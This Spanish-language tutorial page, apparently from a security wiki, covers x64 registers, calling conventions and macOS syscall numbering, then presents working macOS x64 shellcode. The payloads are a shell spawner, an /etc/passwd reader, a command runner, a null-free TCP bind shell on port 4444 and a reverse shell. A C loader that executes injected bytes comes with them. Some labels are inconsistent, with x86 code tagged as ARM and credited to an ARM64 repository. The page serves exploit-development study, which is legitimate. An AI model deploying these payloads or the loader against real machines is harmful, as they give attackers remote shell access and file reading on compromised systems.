# Introducción a x64
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## **Introducción a x64** x64, también conocido como x86-64, es una arquitectura de procesador de 64 bits utilizada predominantemente en computadoras de escritorio y servidores. Originada a partir de la arquitectura x86 producida por Intel y posteriormente adoptada por AMD con el nombre AMD64, es la arquitectura predominante en computadoras personales y servidores en la actualidad. ### **Registros** x64 amplía la arquitectura x86, presentando **16 registros de propósito general** etiquetados como `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi` y `r8` a través de `r15`. Cada uno de estos registros puede almacenar un valor de **64 bits** (8 bytes). Estos registros también tienen sub-registros de 32 bits, 16 bits y 8 bits para compatibilidad y tareas específicas. 1. **`rax`** - Tradicionalmente utilizado para **valores de retorno** de funciones. 2. **`rbx`** - A menudo utilizado como un **registro base** para operaciones de memoria. 3. **`rcx`** - Comúnmente utilizado como **contador de bucle**. 4. **`rdx`** - Utilizado en varios roles, incluyendo operaciones aritméticas extendidas. 5. **`rbp`** - **Puntero base** para el marco de la pila. 6. **`rsp`** - **Puntero de pila**, que realiza un seguimiento de la parte superior de la pila. 7. **`rsi`** y **`rdi`** - Utilizados como índices de **origen** y **destino** en operaciones de cadena/memoria. 8. **`r8`** a **`r15`** - Registros de propósito general adicionales introducidos en x64. ### **Convención de Llamada** La convención de llamada x64 varía entre sistemas operativos. Por ejemplo: * **Windows**: Los primeros **cuatro parámetros** se pasan en los registros **`rcx`**, **`rdx`**, **`r8`** y **`r9`**. Los parámetros adicionales se empujan a la pila. El valor de retorno se encuentra en **`rax`**. * **System V (comúnmente utilizado en sistemas similares a UNIX)**: Los primeros **seis parámetros enteros o punteros** se pasan en los registros **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** y **`r9`**. El valor de retorno también se encuentra en **`rax`**. Si la función tiene más de seis entradas, el **resto se pasará en la pila**. **RSP**, el puntero de pila, debe estar **alineado en 16 bytes**, lo que significa que la dirección a la que apunta debe ser divisible por 16 antes de que ocurra cualquier llamada. Esto significa que normalmente tendríamos que asegurarnos de que RSP esté correctamente alineado en nuestro shellcode antes de realizar una llamada a una función. Sin embargo, en la práctica, las llamadas al sistema funcionan muchas veces incluso si este requisito no se cumple. ### Convención de Llamada en Swift Swift tiene su propia **convención de llamada** que se puede encontrar en [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64) ### **Instrucciones Comunes** Las instrucciones x64 tienen un conjunto amplio, manteniendo la compatibilidad con instrucciones x86 anteriores e introduciendo nuevas. * **`mov`**: **Mueve** un valor de un **registro** o una **ubicación de memoria** a otro. * Ejemplo: `mov rax, rbx` — Mueve el valor de `rbx` a `rax`. * **`push`** y **`pop`**: Empuja o saca valores de la **pila**. * Ejemplo: `push rax` — Empuja el valor de `rax` a la pila. * Ejemplo: `pop rax` — Saca el valor superior de la pila a `rax`. * **`add`** y **`sub`**: Operaciones de **suma** y **resta**. * Ejemplo: `add rax, rcx` — Suma los valores en `rax` y `rcx` almacenando el resultado en `rax`. * **`mul`** y **`div`**: Operaciones de **multiplicación** y **división**. Nota: estas tienen comportamientos específicos en cuanto al uso de operandos. * **`call`** y **`ret`**: Utilizados para **llamar** y **retornar de funciones**. * **`int`**: Utilizado para generar una **interrupción de software**. Por ejemplo, `int 0x80` se utilizaba para llamadas al sistema en Linux x86 de 32 bits. * **`cmp`**: **Compara** dos valores y establece las banderas de la CPU en función del resultado. * Ejemplo: `cmp rax, rdx` — Compara `rax` con `rdx`. * **`je`, `jne`, `jl`, `jge`, ...**: Instrucciones de **salto condicional** que cambian el flujo de control en función de los resultados de una instrucción `cmp` o prueba anterior. * Ejemplo: Después de una instrucción `cmp rax, rdx`, `je label` — Salta a `label` si `rax` es igual a `rdx`. * **`syscall`**: Utilizado para **llamadas al sistema** en algunos sistemas x64 (como Unix modernos). * **`sysenter`**: Una instrucción optimizada de **llamada al sistema** en algunas plataformas. ### **Prólogo de la función** 1. **Guardar el antiguo puntero base**: `push rbp` (guarda el puntero base del llamador) 2. **Mover el puntero de pila actual al puntero base**: `mov rbp, rsp` (configura el nuevo puntero base para la función actual) 3. **Asignar espacio en la pila para variables locales**: `sub rsp, ` (donde `` es el número de bytes necesarios) ### **Epílogo de la función** 1. **Mover el puntero base actual al puntero de pila**: `mov rsp, rbp` (desasignar variables locales) 2. **Desapilar el antiguo puntero base de la pila**: `pop rbp` (restaura el puntero base del llamador) 3. **Retornar**: `ret` (devuelve el control al llamador) ## macOS ### syscalls Existen diferentes clases de syscalls, puedes [**encontrarlas aquí**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:** ```c #define SYSCALL_CLASS_NONE 0 /* Invalid */ #define SYSCALL_CLASS_MACH 1 /* Mach */ #define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */ #define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */ #define SYSCALL_CLASS_DIAG 4 /* Diagnostics */ #define SYSCALL_CLASS_IPC 5 /* Mach IPC */ ``` A continuación, puedes encontrar el número de llamada al sistema [**en esta URL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** ```c 0 AUE_NULL ALL { int nosys(void); } { indirect syscall } 1 AUE_EXIT ALL { void exit(int rval); } 2 AUE_FORK ALL { int fork(void); } 3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); } 4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); } 5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); } 6 AUE_CLOSE ALL { int close(int fd); } 7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); } 8 AUE_NULL ALL { int nosys(void); } { old creat } 9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); } 10 AUE_UNLINK ALL { int unlink(user_addr_t path); } 11 AUE_NULL ALL { int nosys(void); } { old execv } 12 AUE_CHDIR ALL { int chdir(user_addr_t path); } [...] ``` Entonces, para llamar a la llamada del sistema `open` (**5**) de la clase **Unix/BSD**, debes agregarle: `0x2000000` Por lo tanto, el número de llamada del sistema para llamar a `open` sería `0x2000005` ### Shellcodes Para compilar: {% code overflow="wrap" %} ```bash nasm -f macho64 shell.asm -o shell.o ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib ``` {% endcode %} Para extraer los bytes: {% code overflow="wrap" %} ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do echo -n '\\x'$c done # Another option otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g' ``` {% endcode %}
Código C para probar el shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include int (*sc)(); char shellcode[] = ""; int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode)); void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr); void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst); int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status); printf("[>] Trying to execute shellcode...\n"); sc = ptr; sc(); return 0; } ```
#### Shell Tomado de [**aquí**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) y explicado. {% tabs %} {% tab title="con adr" %} ```armasm bits 64 global _main _main: call r_cmd64 db '/bin/zsh', 0 r_cmd64: ; the call placed a pointer to db (argv[2]) pop rdi ; arg1 from the stack placed by the call to l_cmd64 xor rdx, rdx ; store null arg3 push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ``` {% tab title="con stack" %} ```armasm bits 64 global _main _main: xor rdx, rdx ; zero our RDX push rdx ; push NULL string terminator mov rbx, '/bin/zsh' ; move the path into RBX push rbx ; push the path, to the stack mov rdi, rsp ; store the stack pointer in RDI (arg1) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ``` {% endtab %} {% endtabs %} #### Leer con cat El objetivo es ejecutar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, por lo que el segundo argumento (x1) es una matriz de parámetros (que en memoria significa una pila de direcciones). ```armasm bits 64 section .text global _main _main: ; Prepare the arguments for the execve syscall sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48` lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat" lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd" ; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"] push rsi ; Add "/etc/passwd" to the stack (arg0) push rdi ; Add "/bin/cat" to the stack (arg1) ; Set in the 2nd argument of exec the addr of the array mov rsi, rsp ; argv=rsp - store RSP's value in RSI xor rdx, rdx ; Clear rdx to hold NULL (no environment variables) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ; Make the syscall section .data cat_path: db "/bin/cat", 0 passwd_path: db "/etc/passwd", 0 ``` #### Invocar comando con sh Cuando se trabaja en un entorno de línea de comandos en macOS, se puede utilizar el comando `sh` para invocar comandos y ejecutar scripts de shell. El comando `sh` es un intérprete de shell estándar en macOS y se utiliza para ejecutar comandos en un entorno de shell. Para invocar un comando con `sh`, simplemente se debe escribir el comando seguido de `sh -c` y luego el comando que se desea ejecutar. Por ejemplo: ```bash sh -c "comando" ``` Donde "comando" es el comando que se desea ejecutar. El comando `sh` también se puede utilizar para ejecutar scripts de shell almacenados en archivos. Para hacer esto, se debe proporcionar la ruta del archivo después de `sh -c`. Por ejemplo: ```bash sh -c "ruta_del_archivo" ``` Donde "ruta_del_archivo" es la ruta del archivo que se desea ejecutar. Al utilizar el comando `sh` para invocar comandos y ejecutar scripts de shell, se puede aprovechar la funcionalidad y flexibilidad de la línea de comandos en macOS para realizar diversas tareas y automatizar procesos. ```armasm bits 64 section .text global _main _main: ; Prepare the arguments for the execve syscall sub rsp, 32 ; Create space on the stack ; Argument array lea rdi, [rel touch_command] push rdi ; push &"touch /tmp/lalala" lea rdi, [rel sh_c_option] push rdi ; push &"-c" lea rdi, [rel sh_path] push rdi ; push &"/bin/sh" ; execve syscall mov rsi, rsp ; rsi = pointer to argument array xor rdx, rdx ; rdx = NULL (no env variables) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall _exit: xor rdi, rdi ; Exit status code 0 push 1 ; put 1 on the stack (exit syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall section .data sh_path: db "/bin/sh", 0 sh_c_option: db "-c", 0 touch_command: db "touch /tmp/lalala", 0 ``` #### Shell de enlace Shell de enlace desde [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) en el **puerto 4444**. ```armasm section .text global _main _main: ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; struct sockaddr_in { ; __uint8_t sin_len; ; sa_family_t sin_family; ; in_port_t sin_port; ; struct in_addr sin_addr; ; char sin_zero[8]; ; }; mov rsi, 0xffffffffa3eefdf0 neg rsi push rsi push rsp pop rsi ; bind(host_sockid, &sockaddr, 16) mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x68 syscall ; listen(host_sockid, 2) xor rsi, rsi mov sil, 0x2 mov rax, r8 mov al, 0x6a syscall ; accept(host_sockid, 0, 0) xor rsi, rsi xor rdx, rdx mov rax, r8 mov al, 0x1e syscall mov rdi, rax mov sil, 0x3 dup2: ; dup2(client_sockid, 2) ; -> dup2(client_sockid, 1) ; -> dup2(client_sockid, 0) mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi mov rax, r8 mov al, 0x3b syscall ``` #### Shell Inverso Shell inverso desde [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Shell inverso a **127.0.0.1:4444**. ```armasm section .text global _main _main: ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; struct sockaddr_in { ; __uint8_t sin_len; ; sa_family_t sin_family; ; in_port_t sin_port; ; struct in_addr sin_addr; ; char sin_zero[8]; ; }; mov rsi, 0xfeffff80a3eefdf0 neg rsi push rsi push rsp pop rsi ; connect(sockid, &sockaddr, 16) mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x62 syscall xor rsi, rsi mov sil, 0x3 dup2: ; dup2(sockid, 2) ; -> dup2(sockid, 1) ; -> dup2(sockid, 0) mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi xor rdx, rdx mov rax, r8 mov al, 0x3b syscall ```
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